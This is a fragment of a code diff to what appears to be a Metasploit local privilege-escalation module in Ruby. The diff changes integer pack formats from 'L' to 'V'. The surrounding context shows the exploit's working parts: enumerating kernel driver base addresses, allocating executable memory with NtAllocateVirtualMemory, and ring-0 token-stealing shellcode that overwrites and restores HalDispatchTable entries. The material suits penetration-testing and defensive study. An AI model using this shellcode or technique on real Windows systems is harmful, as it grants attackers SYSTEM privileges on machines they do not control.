@@ -79,7 +79,7 @@ def open_device(dev)
79
79
80
80
def find_sys_base ( drvname )
81
81
results = session . railgun . psapi . EnumDeviceDrivers ( 4096 , 1024 , 4 )
82
- addresses = results [ 'lpImageBase' ] [ 0 ..results [ 'lpcbNeeded' ] - 1 ] . unpack ( "L*" )
82
+ addresses = results [ 'lpImageBase' ] [ 0 ..results [ 'lpcbNeeded' ] - 1 ] . unpack ( 'V*' )
83
83
84
84
addresses . each do |address |
85
85
results = session . railgun . psapi . GetDeviceDriverBaseNameA ( address , 48 , 48 )
@@ -98,8 +98,8 @@ def find_sys_base(drvname)
98
98
99
99
def ring0_shellcode ( t )
100
100
restore_ptrs = "\x31 \xc0 " # xor eax, eax
101
- restore_ptrs << "\xb8 " + [ @addresses [ "HaliQuerySystemInfo" ] ] . pack ( "L" ) # mov eax, offset hal!HaliQuerySystemInformation
102
- restore_ptrs << "\xa3 " + [ @addresses [ "halDispatchTable" ] + 4 ] . pack ( "L" ) # mov dword ptr [nt!HalDispatchTable+0x4], eax
101
+ restore_ptrs << "\xb8 " + [ @addresses [ "HaliQuerySystemInfo" ] ] . pack ( 'V' ) # mov eax, offset hal!HaliQuerySystemInformation
102
+ restore_ptrs << "\xa3 " + [ @addresses [ "halDispatchTable" ] + 4 ] . pack ( 'V' ) # mov dword ptr [nt!HalDispatchTable+0x4], eax
103
103
104
104
tokenstealing = "\x52 " # push edx # Save edx on the stack
105
105
tokenstealing << "\x53 " # push ebx # Save ebx on the stack
@@ -125,7 +125,7 @@ def ring0_shellcode(t)
125
125
126
126
def fill_memory ( proc , address , length , content )
127
127
128
- result = session . railgun . ntdll . NtAllocateVirtualMemory ( -1 , [ address ] . pack ( "L" ) , nil , [ length ] . pack ( "L" ) , "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN" , "PAGE_EXECUTE_READWRITE" )
128
+ result = session . railgun . ntdll . NtAllocateVirtualMemory ( -1 , [ address ] . pack ( 'V' ) , nil , [ length ] . pack ( 'V' ) , "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN" , "PAGE_EXECUTE_READWRITE" )
129
129
130
130
if not proc . memory . writable? ( address )
131
131
vprint_error ( "Failed to allocate memory" )
0 commit comments